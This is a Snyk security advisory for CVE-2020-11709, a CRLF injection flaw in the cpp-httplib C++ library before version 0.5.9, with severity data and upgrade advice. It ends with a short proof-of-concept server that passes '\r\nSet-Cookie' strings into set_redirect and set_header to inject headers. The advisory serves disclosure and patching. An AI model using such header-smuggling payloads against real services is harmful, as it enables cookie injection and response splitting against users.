<p>Upgrade <code>yhirose/cpp-httplib</code> to version 0.5.9 or higher.</p>

CRLF Injection Affecting yhirose/cpp-httplib package, versions [,0.5.9)

Snyk CVSS

Attack Complexity Low

Integrity High

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 0.11% (44^th percentile)

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Snyk ID SNYK-UNMANAGED-YHIROSECPPHTTPLIB-2366507
published 26 Jan 2022
disclosed 12 Apr 2020
credit shouc

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Introduced: 12 Apr 2020

CVE-2020-11709 Open this link in a new tab CWE-93 Open this link in a new tab

How to fix?

Upgrade yhirose/cpp-httplib to version 0.5.9 or higher.

Overview

Affected versions of this package are vulnerable to CRLF Injection due to not filtering \r\n in parameters passed into the set_redirect and set_header functions.

PoC

#include "cpp-httplib/httplib.h"
using namespace httplib;
int main() {
    Server svr;
    svr.Get("/1", [](const Request& req, Response& res) {
        res.set_redirect("1\r\nSet-Cookie: a=1");
    });
    svr.Get("/2", [](const Request& req, Response& res) {
        res.set_header("a", "1\r\nSet-Cookie: a=1");
    });
    svr.listen("localhost", 3000);
}